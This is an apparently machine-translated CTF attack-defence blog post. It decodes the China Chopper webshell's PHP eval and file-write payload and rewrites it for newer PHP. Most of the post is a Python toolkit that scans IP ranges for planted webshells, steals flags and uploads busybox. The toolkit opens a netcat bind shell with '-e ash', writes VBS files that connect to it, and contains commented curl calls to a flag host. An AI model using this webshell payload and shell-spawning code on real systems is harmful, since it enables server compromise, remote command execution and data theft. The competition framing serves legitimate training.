AWD_rewriting kitchen knife of ctf

AWD(3)_rewriting kitchen knife of ctf

principle

Multiple post

cmd=@eval(base64_decode($_POST[z0]));
#cmd is the original password, z0 is the new password.

Analysis of Wishark Pack Grabbing

Kitchen knife 2011

post data analysis

&cmd=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B
&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
&z1=QzpcXFVzZXJzXFxhZG1pbjFcXERlc2t0b3BcXHBocHNcXFdXV1xcdGVzdC50eHQ%3D&z2=61733132333435360D0A6173313233343536

Decoding cmd= z0= z1= url and base64

cmd=@eval(base64_decode($_POST[z0]));
z0=
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();
z1=C:\\Users\\admin1\\Desktop\\phps\\WWW\\test.txt
z2 Content:
as123456
as123456

z0 simplification

@ini_set("display_errors","0");
@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();

That is, Z0 - > PHP write file Z1 - > remote file name Z2 - > local file content

0x61 = 97
chr(97) = 'a'

Resolve kitchen knife 2011 unavailable on ubuntu

Look at / var/log/apache2/error.log and find @set_magic_quotes_runtime(0); error, this only works when PHP < 5.3

Rewrite the php string

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();

Details

  • @ After eval, add the controller SOH or 0x01

  • Because the standard Base64 code may appear character + and /, in URL can not be directly used as parameters, so there is a "url safe" Base64 encoding, in fact, the characters + and / respectively become and -, notepad++ ellipsis = =, base64.urlsafe_b64decode(base64_url).

  • Z2 - > File content. File content should be capitalized and aligned by bytes. Python 3 reads the binary file and deletes 0x.

from attack_tool import convertToHex
#convertToHex reads binary files and converts them into strings
0x10PreviousasciiRemove`0x`After that, align by bytes and add before the letters'0'
eg:    ord('\n') = 10   hex(10) = '0xa'  After alignment: '0A'
  • convertToHex in the next article (ctf AWD(4)_Rewriting kitchen knife)

Python 3 source code

#attack_utils.py

#coding:utf-8
import requests
import queue
from urllib.parse import unquote,quote
from attack_tool import convertToHex
import os
import subprocess
import sys
import time
import re

# Print ('[1; 32; 40m green, black background[0m color not shown')
# Print ('[1; 31; 40m red, black background[0m color not shown')

HEADERS = {'Content-Type': 'application/x-www-form-urlencoded',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'}

POST_FLAG_HEADERS = {'Content-Type': 'application/x-www-form-urlencoded',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'}

URI = '/.index.php'
POST_FLAG_URL = "http://192.168.100.1/"
PORTS = ['80', '81', '82']

COLOR_GREEN = '\033[1;32;40m'
COLOR_RED = '\033[1;31;40m'
COLOR_NONE = '\033[0m'

#raw_data = 'system("curl http://192.168.100.1/Getkey");'
#RAW_CMD = 'system("curl ip.sb");'       #ip.gs
RAW_CMD = 'system("ls /tmp;file /tmp/busybox");'
RAW_NC = 'system("chmod 777 /tmp/busybox;/tmp/busybox nc -l -p 8888 -e /tmp/busybox ash");'

PASSWORD = '1234'

PASSWORD_DATA_CMD = 'pass=' + PASSWORD + '&a=' + quote(RAW_CMD)
PASSWORD_DATA_UPLOAD = 'pass=' + PASSWORD + '&a='
PASSWORD_DATA_NC = 'pass=' + PASSWORD + '&a=' + quote(RAW_NC)

PHP_CODE = '%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B'

LFILE_BUSYBOX = 'd:/busybox.txt'        #'ZDovYnVzeWJveC50eHQ'
RFILE_BUSYBOX = 'L3RtcC9idXN5Ym94'      #/tmp/busybox

# z0 = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D'

z0 = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiLT58Iik7OyRmPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKTskYz0kX1BPU1RbInoyIl07JGM9c3RyX3JlcGxhY2UoIlxyIiwiIiwkYyk7JGM9c3RyX3JlcGxhY2UoIlxuIiwiIiwkYyk7JGJ1Zj0iIjtmb3IoJGk9MDskaTxzdHJsZW4oJGMpOyRpKz0yKSRidWYuPXVybGRlY29kZSgiJSIuc3Vic3RyKCRjLCRpLDIpKTtlY2hvKEBmd3JpdGUoZm9wZW4oJGYsInciKSwkYnVmKT8iMSI6IjAiKTs7ZWNobygifDwtIik7ZGllKCk7%3D%3D'

z0_str_2011 = '''@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();'''

'''
 #@eval(base64_decode($_POST[z0]));&z0=z0_str_2011
 z1:rfile
 z2:lfile
z0_str -> base64 -> urlencode : '+' -> %2B  quote('+'),End plus%3D%3D Namely==  quote('=')
'''

def url_queue(uri, p1, p2, i1, i2):
    my_url_queue = queue.Queue()
    for j in range(int(p1), int(p2)):
        for i in range(int(i1), int(i2)):
            full_url = "http://4.4." + str(i) + ".101" + ":%s" % PORTS[j] + str(uri)
            my_url_queue.put(full_url)
            # local_url = "http://192.168.232.141" + ":%s" % PORTS[j] + uri
            # local_url = "http://192.168.232.129" + ":%s" % PORTS[j] + uri
            # my_url_queue.put(local_url)
            #print(full_url)
    return my_url_queue

def check_shell(uri, p1, p2, i1, i2):
    tmp_queue = url_queue(uri, p1, p2, i1, i2)
    while tmp_queue.qsize() > 0:
        try:
            url = tmp_queue.get_nowait()
            req_get = requests.get(url=url, headers=HEADERS)
            #req_get = requests.get(url=url, headers=HEADERS, timeout=1)
            if req_get.status_code == 200:
                print(COLOR_GREEN + '[+]: ' + url)
            else:
                print(COLOR_RED + '[-]: ' + 'request was aborted')
        except Exception as e:
            print(COLOR_RED + '[-]: ' + str(e))
            pass

def get_flag(uri, p1, p2, i1, i2, password):
    tmp_queue = url_queue(uri, p1, p2, i1, i2)
    while tmp_queue.qsize() > 0:
        try:
            url = tmp_queue.get_nowait()
            req_post = requests.post(url=url, data=password, headers=HEADERS)
            #req_post = requests.post(url=url, data=password, headers=HEADERS, timeout=1)
            if req_post.status_code == 200:
                print(COLOR_GREEN + '[+flag]: ' + req_post.text.strip() + ' : ' + url)
            else:
                print(COLOR_RED + '[-]: ' + 'request was aborted')
        except Exception as e:
            print(COLOR_RED + '[-]: ' + str(e))
            pass

def post_flag():
    while True:
        flag = input('input flag:')
        data = quote(flag.strip())
        if flag == 'q':
            break
        else :
            try:
                req = requests.post(url=POST_FLAG_URL, data=flag, headers=POST_FLAG_HEADERS)
                if req.status_code == 200:
                    print(COLOR_GREEN + '[+]: ' + "Submit successfully")
                    #print(req.text)
                else:
                    print(COLOR_RED + '[-]: ' + "Failure to submit")
            except Exception as e:
                print(COLOR_RED + '[-]: ' + str(e))
                pass

def upload_file(uri, p1, p2, i1, i2, lfile, rfile):
    z1 = rfile
    try:
        f = open(lfile,'r')
        z2  = f.read()
        f.close()
        #z2 = convertToHex(lfile)
    except Exception as e:
        print(COLOR_RED + '[-]: ' + 'Failed to open the file' + str(e))
        pass
    data = PASSWORD_DATA_UPLOAD + PHP_CODE + '&z0=' + z0 + '&z1=' + z1 + '&z2=' + z2
    tmp_queue = url_queue(uri, p1, p2, i1, i2)
    while tmp_queue.qsize() > 0:
        try:
            url = tmp_queue.get_nowait()
            req = requests.post(url=url, data=data, headers=HEADERS)
            #req = requests.post(url=url, data=data, headers=HEADERS, timeout=1)
            if req.status_code == 200:
                print(COLOR_GREEN + '[+]: ' + 'Upload success')
            else:
                print(COLOR_RED + '[-]: ' + 'Upload failure')
        except Exception as e:
            print(COLOR_RED + '[-]: ' + str(e))
            pass


def connect_nc_shell(host, port):
    try:
        cmd_str = "nc %s %s" % (str(host), str(port))
        proc = subprocess.Popen(cmd_str, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
        proc.stdout.flush()
        proc.stdin.flush()
        line = input()
        line_byte = bytes(line, encoding='utf-8')
        while line != 'q':
            proc.stdin.write(line_byte + b'\n')
            proc.stdin.flush()

            output = proc.stdout.readline()
            output_str = str(output.decode('utf-8'))
            sys.stdout.write(output_str)

            sys.stdout.flush()
            line = input()
            line_byte = bytes(line, encoding='utf-8')
    except Exception as e:
        print(COLOR_RED + '[-]:' + str(e))
        pass

def get_nc_shell(uri, p1, p2, i1, i2, lfile, rfile):
    start = time.time()
    tmp_queue = url_queue(uri, p1, p2, i1, i2)
    z1 = rfile
    try:
        f = open(lfile, 'r')
        z2 = f.read()
        f.close()
        # z2 = convertToHex(lfile)
    except Exception as e:
        print(COLOR_RED + '[-]: ' + 'Failed to open the file' + str(e))
        pass
    data = PASSWORD_DATA_UPLOAD + PHP_CODE + '&z0=' + z0 + '&z1=' + z1 + '&z2=' + z2
    while tmp_queue.qsize() > 0:
        try:
            url = tmp_queue.get_nowait()
            ips = re.findall(r'\d+.\d+.\d+.\d+', url)

            # req_post = requests.post(url=url, data=password, headers=HEADERS, timeout=1)
            req_1 = requests.post(url=url, data=PASSWORD_DATA_CMD, headers=HEADERS)
            if req_1.status_code == 200:
                print(COLOR_GREEN + '[+flag]: ' + req_1.text.strip() + ' : ' + url)
            else:
                print(COLOR_RED + '[-]: ' + 'Obtain flag fail')

            req_2 = requests.post(url=url, data=data, headers=HEADERS)
            if req_2.status_code == 200:
                print(COLOR_GREEN + '[+]: ' + 'Upload success')
            else:
                print(COLOR_RED + '[-]: ' + 'Upload failure')

            try:
                vbs_name = ips[0] + '.vbs'
                vbs_file = open('d:/' + vbs_name, 'w')
                vbs_file.write('Set ws=CreateObject("Wscript.Shell")' + '\n')
                cmd_str = "cmd /c nc %s 8888" % ips[0]
                vbs_file.write('ws.run ' + '"' + cmd_str + '"')
                vbs_file.close()
            except Exception as e:
                print(COLOR_RED + '[-]:' + 'Write in vbs fail' + str(e))
                pass
            end = time.time()
            total = end - start
            print(COLOR_GREEN + '[+]: ' + 'consume %ss' % str(total))
            req_3 = requests.post(url=url, data=PASSWORD_DATA_NC, headers=HEADERS)
            if req_3.status_code == 200:
                print(COLOR_GREEN + '[$$$]: nc '+ ips[0] + ' 8888')
            else:
                print(COLOR_RED + '[-]: ' + 'nc request was aborted')

        except Exception as e:
            print(COLOR_RED + '[-]: ' + str(e))
            pass

def get_password(file_pass):
    password = []
    f = open('d:/pass100.txt', 'r')
    for i in f.readlines():
        password.append(i.strip())
    f.close()

if __name__ == '__main__':
    pass
    

Keywords: PHP encoding Python Windows

Added by mlschutz on Sun, 06 Oct 2019 17:41:03 +0300